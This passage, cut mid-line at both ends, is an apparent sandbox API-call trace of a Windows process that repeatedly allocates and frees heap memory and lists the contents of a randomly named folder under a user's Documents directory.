(HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30183f8 [0121.273] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.273] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.273] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30183f8 | out: hHeap=0x5e0000) returned 1 [0121.273] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30183f8 [0121.273] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.273] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.273] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30183f8 | out: hHeap=0x5e0000) returned 1 [0121.273] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30183f8 [0121.273] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\") returned="YSKur86t\\" [0121.273] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022ab0 [0121.273] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33af0 [0121.273] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30183f8 | out: hHeap=0x5e0000) returned 1 [0121.273] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0121.273] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef800 [0121.273] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33af0 | out: hHeap=0x5e0000) returned 1 [0121.273] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0121.273] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb1c0 [0121.273] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ab0 | out: hHeap=0x5e0000) returned 1 [0121.273] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022ab0 [0121.273] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef800 | out: hHeap=0x5e0000) returned 1 [0121.273] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0121.273] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ab0 | out: hHeap=0x5e0000) returned 1 [0121.273] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0121.273] PathFindFileNameW (pszPath="") returned="" [0121.273] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30183f8 [0121.273] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6b32cd00, ftCreationTime.dwHighDateTime=0x1d4c6a2, ftLastAccessTime.dwLowDateTime=0x42878e50, ftLastAccessTime.dwHighDateTime=0x1d4d3ad, ftLastWriteTime.dwLowDateTime=0x42878e50, ftLastWriteTime.dwHighDateTime=0x1d4d3ad, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0121.274] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30183f8 | out: hHeap=0x5e0000) returned 1 [0121.274] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6b32cd00, ftCreationTime.dwHighDateTime=0x1d4c6a2, ftLastAccessTime.dwLowDateTime=0x42878e50, ftLastAccessTime.dwHighDateTime=0x1d4d3ad, ftLastWriteTime.dwLowDateTime=0x42878e50, ftLastWriteTime.dwHighDateTime=0x1d4d3ad, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.274] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f216660, ftCreationTime.dwHighDateTime=0x1d4cfe4, ftLastAccessTime.dwLowDateTime=0x3f5107c0, ftLastAccessTime.dwHighDateTime=0x1d4d326, ftLastWriteTime.dwLowDateTime=0x3f5107c0, ftLastWriteTime.dwHighDateTime=0x1d4d326, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7sg88LIA79bVPrOA", cAlternateFileName="7SG88L~1")) returned 1 [0121.274] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x2f61740 [0121.274] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x2f30df8 [0121.274] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x2f7b670 [0121.274] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f30df8 | out: hHeap=0x5e0000) returned 1 [0121.274] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f61740 | out: hHeap=0x5e0000) returned 1 [0121.274] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x84c27bd0, ftCreationTime.dwHighDateTime=0x1d4cd46, ftLastAccessTime.dwLowDateTime=0x6bde88a0, ftLastAccessTime.dwHighDateTime=0x1d4d31f, ftLastWriteTime.dwLowDateTime=0x6bde88a0, ftLastWriteTime.dwHighDateTime=0x1d4d31f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="s-2Yi4nxLO_tQ5d", cAlternateFileName="S-2YI4~1")) returned 1 [0121.274] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x2f61740 [0121.274] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x2f30df8 [0121.274] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xfc) returned 0x69c2b8 [0121.274] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30183f8 [0121.274] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0d20 [0121.274] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30187b8 [0121.274] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c1050 [0121.274] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0170 [0121.274] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x6daea8 [0121.274] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3017fc0 | out: hHeap=0x5e0000) returned 1 [0121.274] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0e30 | out: hHeap=0x5e0000) returned 1 [0121.274] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018740 | out: hHeap=0x5e0000) returned 1 [0121.274] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c1160 | out: hHeap=0x5e0000) returned 1 [0121.274] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0da8 | out: hHeap=0x5e0000) returned 1 [0121.274] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f7b670 | out: hHeap=0x5e0000) returned 1 [0121.274] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f7e028 | out: hHeap=0x5e0000) returned 1 [0121.274] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x2f7b670 [0121.275] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f30df8 | out: hHeap=0x5e0000) returned 1 [0121.275] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f61740 | out: hHeap=0x5e0000) returned 1 [0121.275] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x84c27bd0, ftCreationTime.dwHighDateTime=0x1d4cd46, ftLastAccessTime.dwLowDateTime=0x6bde88a0, ftLastAccessTime.dwHighDateTime=0x1d4d31f, ftLastWriteTime.dwLowDateTime=0x6bde88a0, ftLastWriteTime.dwHighDateTime=0x1d4d31f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="s-2Yi4nxLO_tQ5d", cAlternateFileName="S-2YI4~1")) returned 0 [0121.275] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0121.275] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb1c0 | out: hHeap=0x5e0000) returned 1 [0121.275] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30186c8 | out: hHeap=0x5e0000) returned 1 [0121.275] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0121.275] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33af0 [0121.275] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0121.275] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.275] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.275] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.275] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.275] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.275] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.275] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.275] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.275] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.275] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.275] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.275] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.275] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.275] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.275] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.275] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.275] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.275] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.275] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.275] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.276] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.276] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.276] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.276] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.276] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.276] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.276] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0121.276] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.276] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.276] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.276] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.276] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.276] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.276] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.276] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.276] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.276] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.276] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.276] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.276] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.276] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.276] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.276] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.276] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.276] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.276] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.276] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.276] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.276] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.276] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.276] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.277] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.277] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.277] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.277] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.277] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.277] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.277] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.277] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.277] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.277] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.277] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.277] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.277] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.277] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.277] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.277] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.277] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.277] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.277] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.277] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.277] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.277] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.277] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.277] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.277] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.277] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.277] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.277] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.277] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.277] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.277] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.277] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.278] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.278] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.278] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.278] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.278] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.278] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.278] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.278] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.278] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.278] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0121.278] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.278] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.278] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.278] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.278] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.278] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.278] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.278] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.278] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.278] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0121.278] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.278] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.278] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.278] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.278] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.278] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.278] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.278] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.278] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.278] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.278] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.279] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.279] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.279] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.279] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.279] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.279] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.279] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.279] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.279] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.279] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.279] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0121.279] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.279] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.279] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.279] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.279] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.279] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.279] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.279] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.279] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.279] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.279] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.279] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.279] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.279] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.279] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.279] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.279] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.279] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.279] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.279] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.280] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.280] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.280] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.280] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.280] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.280] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.280] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.280] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.280] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.280] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.280] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.280] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.280] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 